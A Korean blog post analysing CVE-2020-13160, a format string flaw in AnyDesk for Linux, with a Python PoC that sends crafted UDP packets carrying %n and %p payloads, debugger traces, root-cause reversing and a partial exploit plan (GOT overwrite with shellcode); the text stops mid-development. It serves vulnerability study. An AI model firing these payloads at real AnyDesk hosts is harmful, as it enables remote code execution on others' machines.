[CVE-2020-13160] AnyDesk

Sisyphus·2025년 3월 22일

1-Day Exploit

목록 보기
1/1

취약점 정보

취약점 설명

AnyDesk 5.5.3 이전 버전(Linux 및 FreeBSD)에서 발견된 포맷 문자열(format string) 취약점으로 이를 악용하면 원격 코드 실행(Remote Code Execution, RCE)이 가능합니다. 공격자는 특수하게 조작된 UDP 패킷을 전송하여 AnyDesk의 프론트엔드 프로세스를 손상시키고, 임의 코드를 실행할 수 있습니다.


취약점 심각도 및 잠재적 영향

심각도 (CVSS v3.1)9.8 (Critical)
공격 벡터네트워크
공격 복잡성낮음
권한 요구없음
사용자 상호작용불필요
영향기밀성, 무결성, 가용성에 높은 영향을 미침


환경 설정

AnyDesk

  • 원격 데스크톱 소프트웨어로, 사용자가 다른 위치의 컴퓨터나 장치를 인터넷을 통해 원격으로 액세스하고 제어할 수 있도록 하는 소프트웨어입니다.

  • web.archive.org


분석 환경

  • Ubuntu 18.04.6
  • AnyDesk Version < 5.5.3


Root Cause 분석

PoC

import struct
import socket
 
ip = '127.0.0.1'
port = 50001
 
def gen_discover_packet(ad_id, os, hn, user, inf, func):
    d = chr(0x3e)+chr(0xd1)+chr(0x1)
    d += struct.pack('>I', ad_id)
    d += struct.pack('>I', 0)
    d += chr(0x2)+chr(os)
    d += struct.pack('>I', len(hn)) + hn
    d += struct.pack('>I', len(user)) + user
    d += struct.pack('>I', 0)
    d += struct.pack('>I', len(inf)) + inf
    d += chr(0)
    d += struct.pack('>I', len(func)) + func
    d += chr(0x2)+chr(0xc3)+chr(0x51)
    return d
 
p = gen_discover_packet(4919, 1, '\xec\x9chostname%n%n', '\xec\x9cusername%n%n', 'ad', 'main')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(p, (ip, port))
s.close()
  • 127.0.0.1:50001로 포멧 스트링이 포함된 UDP 패킷을 전송합니다.

디버거를 연결하고

ps aux | grep anydesk
root       936  0.1  0.0 657456 18348 ?        Ssl  17:30   0:00 /usr/bin/anydesk --service
is119     2299  0.1  0.0 738392 23916 tty2     Sl+  17:30   0:00 /usr/bin/anydesk --tray
is119     2528  0.5  0.1 2079952 34880 tty2    Sl+  17:30   0:00 /usr/bin/anydesk
is119     3664  0.0  0.0  15724  1012 pts/0    S+   17:30   0:00 grep --color=auto --exclude-dir=.bzr --exclude-dir=CVS --exclude-dir=.git --exclude-dir=.hg --exclude-dir=.svn --exclude-dir=.idea --exclude-dir=.tox --exclude-dir=.venv --exclude-dir=venv anydesk
sudo gdb /usr/bin/anydesk -p 2528
pwndbg: loaded 142 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
Reading symbols from /usr/bin/anydesk...(no debugging symbols found)...done.
Attaching to program: /usr/bin/anydesk, process 2528
[New LWP 2530]
[New LWP 2531]
[New LWP 2532]
[New LWP 2535]
[New LWP 2538]
[New LWP 2539]
[New LWP 2540]
[New LWP 2541]
[New LWP 2542]
[New LWP 2543]
[New LWP 2544]
[New LWP 2545]
[New LWP 2546]
[New LWP 2547]
[New LWP 2548]
[New LWP 2549]
[New LWP 2550]
[New LWP 2551]
[New LWP 2552]
[New LWP 2553]
[New LWP 2554]
[New LWP 2555]
[New LWP 2556]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f18a588dbb9 in __GI___poll (fds=0x2b2fec0, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29	../sysdeps/unix/sysv/linux/poll.c: No such file or directory.

PoC 코드를 실행시켜보면

python poc.py
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x8ab34b    lea    rdi, [rsp + 0x18]
   0x8ab350    call   time@plt                      <time@plt>
 
   0x8ab355    lea    rdi, [rsp + 0x20]
   0x8ab35a    xor    esi, esi
   0x8ab35c    call   gettimeofday@plt                      <gettimeofday@plt>
 
   0x8ab361    lea    rdi, [rsp + 0x18]
   0x8ab366    call   gmtime@plt                      <gmtime@plt>
 
   0x8ab36b    lea    rdi, [rsp + 0x60]
   0x8ab370    mov    r15, rax
   0x8ab373    mov    ecx, 4
   0x8ab378    xor    eax, eax
──────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ rsp 0x7ffdc5337020 ◂— 0x0
01:0008│     0x7ffdc5337028 —▸ 0x2b994e0 ◂— 0x65 /* 'e' */
02:0010│     0x7ffdc5337030 —▸ 0x7fc2698b35a0 ◂— push r15
03:0018│     0x7ffdc5337038 —▸ 0x7fc2698d06d2 (g_signal_emit_valist+2642) ◂— jmp 0x7fc2698cfcdc
04:0020│     0x7ffdc5337040 ◂— 0x0
05:0028│     0x7ffdc5337048 —▸ 0x7fc2698b9e87 (g_object_unref+103) ◂— lea edx, [rbx - 1]
06:0030│     0x7ffdc5337050 —▸ 0x7ffdc53370a0 —▸ 0x2cb6960 —▸ 0x2bbed60 —▸ 0x2bba440 ◂— ...
07:0038│     0x7ffdc5337058 —▸ 0x2b6fc30 ◂— 0x56 /* 'V' */
────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────
   0   0x7fc264b87902 vfprintf+9634
   1   0x7fc264bb28b0 vsnprintf+144
 ► 2         0x8ab34b
   3         0x8aba98
   4         0x434395
   5   0x7fc2695e12e2 g_logv+594
   6   0x7fc2695e143f g_log+143
   7   0x7fc26b0471d1
   8   0x7fc26b0484a7 gtk_label_set_markup+135
   9         0x63e949
Thread 1 "anydesk" received signal SIGSEGV, Segmentation fault.
0x00007f1a9e8df902 in _IO_vfprintf_internal (s=s@entry=0x7fff8326db30, format=format@entry=0x7fff8326dd80 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username%n%n'", ap=ap@entry=0x7fff8326ea48) at vfprintf.c:1642
1642	vfprintf.c: No such file or directory.
  • Segmentation fault가 발생했습니다.
  • vprintf 함수의 인자를 살펴보면
    • 유효하지 않은 UTF-8 문자가 들어와서 파싱 에러가 발생했다는 메시지가 있습니다.

      • \354\234
    • 인자에 포멧 스트링인 %n 이 포함되어 있습니다.
      - %n은 이전까지 출력된 문자의 바이트 수를 계산하여, 이를 특정 메모리 주소에 저장합니다

      ➡️ 지금까지 출력된 바이트 수가 메모리 주소에 저장되면서 메모리 관련 에러가 발생했습니다.


Backtrace

백트레이스를 살펴보면

pwndbg> bt
#0  0x00007fbd44327902 in _IO_vfprintf_internal (s=s@entry=0x7ffcef7a7470, format=format@entry=0x7ffcef7a76c0 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username%n%n'", ap=ap@entry=0x7ffcef7a8388) at vfprintf.c:1642
#1  0x00007fbd443528b0 in _IO_vsnprintf (string=0x7ffcef7a7ac0 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username", maxlen=<optimized out>, format=0x7ffcef7a76c0 "Failed to set text from markup due to error parsing markup: Error on line 1 char 48: Invalid UTF-8 encoded text in name - not valid '\354\234username%n%n'", args=0x7ffcef7a8388) at vsnprintf.c:114
#2  0x00000000008ab34b in  ()
#3  0x00000000008aba98 in  ()
#4  0x0000000000434395 in  ()
#5  0x00007fbd48d812e2 in g_logv () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#6  0x00007fbd48d8143f in g_log () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#7  0x00007fbd4a7e71d1 in  () at /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so.0
#8  0x00007fbd4a7e84a7 in gtk_label_set_markup () at /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so.0
#9  0x000000000063e949 in  ()
#10 0x000000000062186d in  ()
#11 0x000000000062e775 in  ()
#12 0x000000000055755b in  ()
#13 0x000000000048142b in  ()
#14 0x00007fbd48d7a3a5 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#15 0x00007fbd48d7a770 in  () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#16 0x00007fbd48d7aa82 in g_main_loop_run () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0
#17 0x00007fbd4a7f3a37 in gtk_main () at /usr/lib/x86_64-linux-gnu/libgtk-x11-2.0.so.0
#18 0x00000000004a821e in  ()
#19 0x0000000000485548 in  ()
#20 0x0000000000416552 in  ()
#21 0x00007fbd442ebc87 in __libc_start_main (main=0x4157e0, argc=1, argv=0x7ffcef7bb198, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcef7bb188) at ../csu/libc-start.c:310
#22 0x00000000004187da in  ()
  • main 관련 함수와 gtk 관련 함수들이 보이고 Logging을 위한 함수와 printf 계열 함수들이 보입니다.
    • main
      • __libc_start_main, 0x0000000000416552
    • gtk
      • gtk_main
      • g_main_loop_run
      • g_main_context_dispatch
      • gtk_label_set_markup
    • Logging
      • g_log
      • g_logv
    • printf
      • _IO_vsnprintf
      • _IO_vfprintf_internal
  • 최적화와 stripped가 되어 있어서 backtrace가 상세하지는 않습니다.

분석 전략

  1. 백트레이스에 있는 함수들에 break point를 걸은 후 함수의 인자 값을 살펴 분석 대상 함수 결정하기
    1. 함수 인자값에 페이로드가 포함되어 있으면 분석 대상
  2. 정적 분석을 통해 각 함수의 기능을 살펴보며 분석 대상 결정하기

동적 분석 시도

pwndbg> disas 0x000000000048142b
No function contains specified address.
pwndbg> disas 0x000000000063e949
No function contains specified address.
pwndbg> disas 0x0000000000434395
No function contains specified address.
pwndbg> disas 0x00000000008ab34b
No function contains specified address.
  • 해당 부분들이 디스어셈블이 불가능합니다.

pwndbg> b * 0x000000000048142b
Breakpoint 1 at 0x48142b
pwndbg> b * 0x000000000055755b
Breakpoint 2 at 0x55755b
pwndbg> b * 0x000000000062e775
Breakpoint 3 at 0x62e775
pwndbg> b * 0x000000000062186d
Breakpoint 4 at 0x62186d
pwndbg> b * 0x000000000063e949
Breakpoint 5 at 0x63e949
pwndbg> b * 0x00007fbd4a7e84a7
Breakpoint 6 at 0x7fbd4a7e84a7
pwndbg> b * 0x00007fbd4a7e71d1
Breakpoint 7 at 0x7fbd4a7e71d1
pwndbg> b * 0x00007fbd48d8143f
Breakpoint 8 at 0x7fbd48d8143f
pwndbg> b * 0x00007fbd48d812e2
Breakpoint 9 at 0x7fbd48d812e2
pwndbg> b * 0x0000000000434395
Breakpoint 10 at 0x434395
pwndbg> b * 0x00000000008aba98
Breakpoint 11 at 0x8aba98
pwndbg> b * 0x00000000008ab34b
Breakpoint 12 at 0x8ab34b
pwndbg> c
Continuing.
Warning:
Cannot insert breakpoint 9.
Cannot access memory at address 0x7fbd48d812e2
Cannot insert breakpoint 8.
Cannot access memory at address 0x7fbd48d8143f
Cannot insert breakpoint 7.
Cannot access memory at address 0x7fbd4a7e71d1
Cannot insert breakpoint 6.
Cannot access memory at address 0x7fbd4a7e84a7
  • break point가 제대로 걸리지 않습니다.

➡️ 1번 방식으로는 분석이 힘들고 2번 방식을 사용해서 분석을 진행해야 할 거 같습니다.


정적 분석 시도

백트레이스 함수 분석

_IO_vfprintf_internal가변 인자 목록과 형식 문자열을 받아 출력 스트림에 포맷된 데이터를 작성하는 내부 함수
_IO_vsnprintf지정된 크기의 버퍼에 형식 문자열을 안전하게 출력하는 함수입니다.
g_logv가변 인자 목록(va_list)을 받아 로그 메시지를 포맷한 후 출력하는 GLib 함수
g_log가변 인자 형식의 로그 메시지 출력 함수로, 인자로 전달된 데이터를 내부에서 가변 인자 목록 형태로 변환하여 g_logv를 호출
gtk_label_set_markupGtkLabel 위젯의 텍스트와 스타일을 Pango 마크업 언어를 사용하여 설정하는 함수. 전달된 마크업 문자열을 파싱하여 라벨의 텍스트와 속성을 결정하는데, 만약 파싱 도중 유효하지 않은 UTF‑8 문자나 문법적 오류가 발생하면 오류 메시지를 생성하고 로그 함수들을 통해 이를 보고
g_main_context_dispatchGLib의 메인 이벤트 루프 내에서 등록된 이벤트들을 조사하여 적절한 콜백을 호출하는 함수
g_main_loop_runGLib 메인 루프를 실행하여 프로그램이 종료될 때까지 계속해서 이벤트를 처리하도록 하는 함수
gtk_mainGTK 애플리케이션에서 메인 이벤트 루프를 시작하는 함수로, 사용자 입력 및 위젯 업데이트 등의 처리를 담당
__libc_start_mainC 런타임 환경을 초기화하고, 운영체제가 지정한 프로그램 진입점인 main 함수를 호출하기 전에 필요한 초기화 작업을 수행하는 함수
  • gtk_label_set_markup 함수의 기능을 봐보면 텍스트를 Pango 마크업 언어를 사용하여 설정하는데, 텍스트 파싱 도중 유효하지 않은 UTF-8 문자가 있으면 오류 메시지를 생성하고 로그 함수를 통해 이를 보고 한다고 하고 있습니다.
  • 이전에 vsnprintf 함수의 인자를 보면 유효하지 않은 UTF-8 문자로 인해 파싱 에러가 발생했다는 문자열이 있었습니다.
  • gtk_label_set_markup 함수에서 유효하지 않은 UTF-8 문자열을 파싱하는 과정에서 에러가 발생했고 이를 로깅하는 과정에서 포맷 스트링 버그가 발생한거 같습니다.

gtk_label_set_markup

해당 함수의 인자에 페이로드가 존재하는지 확인해보면

pwndbg> b * gtk_label_set_markup
Breakpoint 1 at 0x7fc7046c2420
pwndbg> c
Continuing.
pwndbg> x/s $rdi
0x7fc6e4008450:	"\360&L\001"
pwndbg> x/s $rsi
0x169cb50:	"<span foreground=\"white\">\354\234username%n%n</span>"
  • 포맷 스트링 버그를 트리거 하기 위한 페이로드가 존재하는 것을 확인할 수 있습니다.

정적 분석

  • 이제 리버싱을 하며 좀 더 상세한 분석을 해보겠습니다.

sub_63D0C0

ABEL_61:
      v81 = (const char *)sub_8ADC90(v190);
      sub_8AD130(v191, "%s>%s</span>", v81, v80);
      sub_8AD7E0(v190, v191);
      sub_8ACDC0(v191);
      v82 = sub_8ADC90(v190);
      v83 = gtk_label_get_type();
      v84 = g_type_check_instance_cast(*(_QWORD *)(a1 + 9224), v83);
      gtk_label_set_markup(v84, v82);
      sub_8ACDC0(v190);
      goto LABEL_62;
    }
    sub_8ACF40(v195, " ");
    sub_8AD840(v192, v195, a1 + 10320);
    sub_8ACDC0(v195);
    sub_8AD9D0(v190, v192);
    sub_8ACDC0(v192);
    goto LABEL_61;
  }
  • gtk_label_set_markup(v84, v82) 부분을 보면 페이로드를 위젯에 세팅하기 위해 gtk_label_set_markup 함수를 호출하고 있습니다.

gtk_label_set_markup

void
gtk_label_set_markup (GtkLabel    *self,
                      const char *str)
{
  gboolean changed;

  g_return_if_fail (GTK_IS_LABEL (self));

  g_object_freeze_notify (G_OBJECT (self));

  changed = gtk_label_set_label_internal (self, str);
  changed = gtk_label_set_use_markup_internal (self, TRUE) || changed;
  changed = gtk_label_set_use_underline_internal (self, FALSE) || changed;

  if (changed)
    gtk_label_recalculate (self);

  g_object_thaw_notify (G_OBJECT (self));
}
  • 내부 함수를 통해 라벨 텍스트를 설정하며, 동시에 마크업 사용을 활성화하고 밑줄 사용 기능을 비활성화합니다.
  • 만약 이 과정에서 속성이 하나라도 변경되었다면, 라벨을 레이아웃을 재계산하여 화면에 반영하기 위해 gtk_label_recalculate 함수를 호출합니다.

gtk_label_recalculate

static void
gtk_label_recalculate (GtkLabel *self)
{
  guint keyval = self->mnemonic_keyval;

  gtk_label_clear_links (self);
  gtk_label_clear_layout (self);
  gtk_label_clear_select_info (self);

  if (self->use_markup)
    {
      gtk_label_set_markup_internal (self, self->label, self->use_underline);
    }
  else if (self->use_underline)
    {
      char *text;

      text = g_markup_escape_text (self->label, -1);
      gtk_label_set_markup_internal (self, text, TRUE);
      g_free (text);
    }
  else
    {
      g_clear_pointer (&self->markup_attrs, pango_attr_list_unref);

      gtk_label_set_text_internal (self, g_strdup (self->label));
    }

  if (!self->use_underline)
    self->mnemonic_keyval = GDK_KEY_VoidSymbol;

  if (keyval != self->mnemonic_keyval)
    {
      gtk_label_setup_mnemonic (self);
      g_object_notify_by_pspec (G_OBJECT (self), label_props[PROP_MNEMONIC_KEYVAL]);
    }

  gtk_widget_queue_resize (GTK_WIDGET (self));
}
  • 라벨 업데이트를 위해 gtk_label_set_markup_internal 함수를 호출합니다.

gtk_label_set_markup_internal

static void
gtk_label_set_markup_internal (GtkLabel   *self,
                               const char *str,
                               gboolean    with_uline)
{
  char *text = NULL;
  GError *error = NULL;
  PangoAttrList *attrs = NULL;
  char *str_for_display = NULL;
  GtkLabelLink *links = NULL;
  guint n_links = 0;
  gunichar accel_keyval = 0;
  gboolean do_mnemonics;

  do_mnemonics = self->mnemonics_visible &&
                 gtk_widget_is_sensitive (GTK_WIDGET (self)) &&
                 (!self->mnemonic_widget || gtk_widget_is_sensitive (self->mnemonic_widget));

  if (!parse_uri_markup (self, str,
                         with_uline && !do_mnemonics,
                         &accel_keyval,
                         &str_for_display,
                         &links, &n_links,
                         &error))
    goto error_set;

  if (links)
    {
      gtk_label_ensure_select_info (self);
      self->select_info->links = g_steal_pointer (&links);
      self->select_info->n_links = n_links;
      gtk_label_ensure_has_tooltip (self);
      gtk_widget_add_css_class (GTK_WIDGET (self), "link");
    }

  if (!pango_parse_markup (str_for_display, -1,
                           with_uline && do_mnemonics ? '_' : 0,
                           &attrs, &text,
                           with_uline && do_mnemonics ? &accel_keyval : NULL,
                           &error))
    goto error_set;

  g_free (str_for_display);

  if (text)
    gtk_label_set_text_internal (self, text);

  g_clear_pointer (&self->markup_attrs, pango_attr_list_unref);
  self->markup_attrs = attrs;

  self->mnemonic_keyval = accel_keyval;

  return;

error_set:
  g_warning ("Failed to set text '%s' from markup due to error parsing markup: %s",
             str, error->message);
  g_error_free (error);

}
  • GtkLabel 위젯에 전달된 마크업 문자열을 파싱하여, 화면에 표시할 텍스트와 스타일 속성, 링크, 그리고 mnemonic 키 값을 추출합니다.
  • 이때 페이로드에는 유효하지 않은 UTF-8 문자가 포함되어 있기 때문에 파싱에 실패하게 되고 error_set으로 분기하게 됩니다.
  • error_set에서는 에러 메시지를 출력을 위해 g_warning 함수를 호출합니다.

g_warning

void
g_warning (const gchar *format, ...)
{
    va_list args;
    va_start (args, format);
    sub_8AB9F0 (NULL, G_LOG_LEVEL_WARNING, format, args);
    va_end (args);
}
  • va_start 매크로로 인자 목록을 초기화합니다.
  • 이후 로그 메시지 출력을 위해 sub_8AB9F0 함수를 호출합니다.

sub_8AB9F0

void __fastcall sub_8AB2C0(__int64 a1, unsigned int a2, __int64 a3, const char *a4, void *a5)
{
  struct tm *v10; // r15
  unsigned int v11; // edx
  bool v12; // zf

...

  if ( byte_11BFD48 && dword_11BFD4C >= a2 )
  {
    if ( (unsigned __int8)sub_8AAC50() )
    {
      strncpy(dest, a4, 0x400uLL);
      dest[1023] = 0;
      sub_8AF530(dest);
      vsnprintf(s, 0x400uLL, dest, a5);
      time(&timer);
      gettimeofday(&tv, 0LL);
  • 에러 메시지를 출력할 때 페이로드를 포함시켜서 출력하는데, 이때 포맷 스트링이 vsnprintf 함수에 인자로 전달되면서 포맷 스트링 버그가 발생합니다.

pwndbg> x/s 0x7fff73467a70
0x7fff73467a70:	"Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid '\205\376 1.0x1693750 2.(nil) 3.0x7fc6fe58fc40 4.0x4342b0 5.0xb366d8 6.(ni"...


Exploit 개발

보호 기법 확인

먼저 보호기법을 확인해보면

pwndbg> checksec
[*] '/home/is119/CVE-2020-13160/anydesk'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
  • 아무 보호기법도 걸려있지 않습니다.
  • ASLR만 우회하여 익스플로잇을 하면 될거 같습니다.

Exploit 설계

  1. Arbitrary Read & Write 흭득
  2. Shellcode Write 후 Shellcode 주소 확보
  3. exit@got를 Shellcode로 Got Overwrite

Arbitrary Read & Write 흭득

vsnprintf 함수에서 발생한 포멧 스트링 버그의 경우 익스플로잇을 할때 vsnprintf 함수의 인자 중 하나인 va_list ap 를 활용할 수 있습니다.


vsnprintf

vsnprintf(char *str, size_t size, const char *format, va_list ap)
  • va_list ap 는 가변인자 함수를 구현할 때 사용되는 특별한 데이터 타입입니다.

va_list

typedef struct {
  unsigned int gp_offset;
  unsigned int fp_offset;
  void *overflow_arg_area;
  void *reg_save_area;
} va_list[1];
  • gp_offset : 일반 목적 레지스러로 전달된 가변 인자의 오프셋
  • fp_offset : 부동소수점 레지스터로 전달된 가변 인자의 오프셋
  • overflow_arg_area : 레지스터에 담을 수 없는 인자들이 스택에 저장될 때, 스택 영역의 시작주소
  • reg_save_area : 레지스터를 저장한 메모리 영역

  • 포멧 스트링 버그를 이용해서 임의 읽기 및 쓰기를 할 때 va_list*overflow_arg_area 영역을 활용할 수 있습니다.

Format String Offset 구하기

이를 위해 먼저 포멧 스트링 오프셋을 구해보겠습니다.

p = gen_discover_packet(4919, 1, '\x85\xfe 1.%p 2.%p 3.%p 4.%p 5.%p 6.%p 7.%p 8.%p 9.%p 10.%p', 'custom username', 'ad', 'main')
  • 먼저 PoC 코드의 페이로드 부분에 포멧 스트링을 넣어줍니다.

pwndbg> b * 0x8ab346
Breakpoint 1 at 0x8ab346
pwndbg> c
Continuing.
  • vsnprintf 함수 호출 부분에 break point를 걸어주고 PoC 코드를 실행시킵니다.

Context를 봐보면

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
*RAX  0x0
*RBX  0x11c5040 ◂— 0x22 /* '"' */
*RCX  0x7fff73468338 ◂— 0x3000000010
*RDX  0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
*RDI  0x7fff73467a70 ◂— 0x7
*RSI  0x400
 R8   0x0
*R9   0x657420746573206f ('o set te')
*R10  0x3a37382072616863 ('char 87:')
*R11  0x7fc704868e16 ◂— add byte ptr [rax], al
*R12  0x7fff73468338 ◂— 0x3000000010
*R13  0xb366d8 ◂— insb byte ptr [edi], dx /* 'glib' */
*R14  0x1693750 ◂— 0x742064656c696146 ('Failed t')
*R15  0x7fc70485e89b ◂— je 0x7fc70485e909 /* 'Gtk' */
*RBP  0x5
*RSP  0x7fff73467590 ◂— 0x0
*RIP  0x8ab346 ◂— call 0x412d90
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x8ab346    call   vsnprintf@plt                      <vsnprintf@plt>
        s: 0x7fff73467a70 ◂— 0x7
        maxlen: 0x400
        format: 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
        arg: 0x7fff73468338 ◂— 0x3000000010
 
   0x8ab34b    lea    rdi, [rsp + 0x18]
   0x8ab350    call   time@plt                      <time@plt>
 
   0x8ab355    lea    rdi, [rsp + 0x20]
   0x8ab35a    xor    esi, esi
   0x8ab35c    call   gettimeofday@plt                      <gettimeofday@plt>
 
   0x8ab361    lea    rdi, [rsp + 0x18]
   0x8ab366    call   gmtime@plt                      <gmtime@plt>
 
   0x8ab36b    lea    rdi, [rsp + 0x60]
   0x8ab370    mov    r15, rax
   0x8ab373    mov    ecx, 4
  • 4번째 인자인 argva_list ap 가 저장되어 있습니다.

내부를 확인해보면

pwndbg> x/2wx 0x7fff73468338
0x7fff73468338:	0x00000010	0x00000030
  • 시작 주소에 gp_offsetfp_offset 이 보입니다.

pwndbg> x/2gx 0x7fff73468338+8
0x7fff73468340:	0x00007fff73468410	0x00007fff73468350
  • 8바이트 뒤로 이동해보면 overflow_arg_areareg_save_area 가 보입니다.

pwndbg> x/4gx 0x00007fff73468350+0x10
0x7fff73468360:	0x0000000001693750	0x0000000000000000
0x7fff73468370:	0x00007fc6fe58fc40	0x00000000004342b0
  • reg_save_areagp_offset을 더해서 조회해보면
  • 레지스터 값들이 들어있습니다.

pwndbg> x/6gx 0x00007fff73468410
0x7fff73468410:	0x0000000000b366d8	0x0000000000000000
0x7fff73468420:	0x0000000000000001	0x00007fc702c59f44
0x7fff73468430:	0x0000000001693750	0x0000000000000010
  • 다음으로 overflow_arg_area 를 조회해보면 첫번째 값으로 0xb366d8 이 들어있습니다.

next instruct 명령어로 vsnprintf 함수 실행 결과를 봐보면

pwndbg> ni
0x00000000008ab34b in ?? ()
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
   0x8ab346    call   vsnprintf@plt                      <vsnprintf@plt>0x8ab34b    lea    rdi, [rsp + 0x18]
   0x8ab350    call   time@plt                      <time@plt>
 
   0x8ab355    lea    rdi, [rsp + 0x20]
   0x8ab35a    xor    esi, esi
   0x8ab35c    call   gettimeofday@plt                      <gettimeofday@plt>
 
   0x8ab361    lea    rdi, [rsp + 0x18]
   0x8ab366    call   gmtime@plt                      <gmtime@plt>
 
   0x8ab36b    lea    rdi, [rsp + 0x60]
   0x8ab370    mov    r15, rax
   0x8ab373    mov    ecx, 4
pwndbg> x/s 0x7fff73467a70
0x7fff73467a70:	"Failed to set text from markup due to error parsing markup: Error on line 1 char 87: Invalid UTF-8 encoded text in name - not valid '\205\376 1.0x1693750 2.(nil) 3.0x7fc6fe58fc40 4.0x4342b0 5.0xb366d8 6.(nil) 7.0x1 8.0x7fc702c59f44 9.0x1693750 10.0x10'"
  • 5번째에 overflow_arg_area 의 첫 번째 값이 들어있습니다.
  • 포멧 스트링 오프셋은 5 입니다.

Arbitrary Read & Write 얻기

임의 읽기와 쓰기를 하기 위해서는 먼저 Format String이 발생 횟수와 순서를 파악해야 합니다.


취약점 식별

p = gen_discover_packet(4919, 1, '\x85\xfeHOSTNAME %p', '\x85\xfeUSERNAME %p', 'ad', 'main')
  • PoC 코드의 페이로드 생성 부분을 위와 같이 변경해주고 실행하면

pwndbg> b * 0x8ab346
Breakpoint 1 at 0x8ab346
pwndbg> c
Continuing.
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x8ab346    call   vsnprintf@plt                      <vsnprintf@plt>
        s: 0x7fff73467a70 ◂— 0x7
        maxlen: 0x400
        format: 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
        arg: 0x7fff73468338 ◂— 0x3000000010
 
   0x8ab34b    lea    rdi, [rsp + 0x18]
   0x8ab350    call   time@plt                      <time@plt>
 
   0x8ab355    lea    rdi, [rsp + 0x20]
   0x8ab35a    xor    esi, esi
   0x8ab35c    call   gettimeofday@plt                      <gettimeofday@plt>
 
   0x8ab361    lea    rdi, [rsp + 0x18]
   0x8ab366    call   gmtime@plt                      <gmtime@plt>
 
   0x8ab36b    lea    rdi, [rsp + 0x60]
   0x8ab370    mov    r15, rax
   0x8ab373    mov    ecx, 4
──────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ rsp 0x7fff73467590 ◂— 0x0
01:00080x7fff73467598 —▸ 0x148a230 ◂— 0x65 /* 'e' */
02:00100x7fff734675a0 —▸ 0x7fc702f2d5a0 ◂— push r15
03:00180x7fff734675a8 —▸ 0x7fc702f4a6d2 (g_signal_emit_valist+2642) ◂— jmp 0x7fc702f49cdc
04:00200x7fff734675b0 ◂— 0x0
05:00280x7fff734675b8 —▸ 0x7fc702f33e87 (g_object_unref+103) ◂— lea edx, [rbx - 1]
06:00300x7fff734675c0 —▸ 0x7fff73467610 —▸ 0x15a5960 —▸ 0x14af110 —▸ 0x14aa710 ◂— ...
07:00380x7fff734675c8 —▸ 0x1460890 ◂— 0x56 /* 'V' */
────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────
 ► 0         0x8ab346
   1         0x8aba98
   2         0x434395
   3   0x7fc702c5b2e2 g_logv+594
   4   0x7fc702c5b43f g_log+143
   5   0x7fc7046c11d1
   6   0x7fc7046c24a7 gtk_label_set_markup+135
   7         0x63e949
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x7fff73467670
0x7fff73467670:	"Failed to set text from markup due to error parsing markup: Error on line 1 char 47: Invalid UTF-8 encoded text in name - not valid '\205\376USERNAME %p'"
  • username을 파싱할 때 첫번째 포멧 스트링 버그가 발생합니다.

pwndbg> c
Continuing.

Thread 1 "anydesk" hit Breakpoint 1, 0x00000000008ab346 in ?? ()
────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x8ab346    call   vsnprintf@plt                      <vsnprintf@plt>
        s: 0x7fff73467a70 ◂— 0x7
        maxlen: 0x400
        format: 0x7fff73467670 ◂— 0x742064656c696146 ('Failed t')
        arg: 0x7fff73468338 ◂— 0x3000000010
 
   0x8ab34b    lea    rdi, [rsp + 0x18]
   0x8ab350    call   time@plt                      <time@plt>
 
   0x8ab355    lea    rdi, [rsp + 0x20]
   0x8ab35a    xor    esi, esi
   0x8ab35c    call   gettimeofday@plt                      <gettimeofday@plt>
 
   0x8ab361    lea    rdi, [rsp + 0x18]
   0x8ab366    call   gmtime@plt                      <gmtime@plt>
 
   0x8ab36b    lea    rdi, [rsp + 0x60]
   0x8ab370    mov    r15, rax
   0x8ab373    mov    ecx, 4
──────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────
00:0000│ rsp 0x7fff73467590 ◂— 0xadd
01:0008│     0x7fff73467598 ◂— 0x8f
02:0010│     0x7fff734675a0 —▸ 0x7fc702f2d5a0 ◂— push r15
03:0018│     0x7fff734675a8 ◂— 0x67d42d19
04:0020│     0x7fff734675b0 ◂— 0x67d42d19
05:0028│     0x7fff734675b8 ◂— 0x231ed
06:0030│     0x7fff734675c0 —▸ 0xdd73d0 —▸ 0x8c3200 ◂— mov qword ptr [rdi], 0xdd73d0
07:0038│     0x7fff734675c8 ◂— 0x3
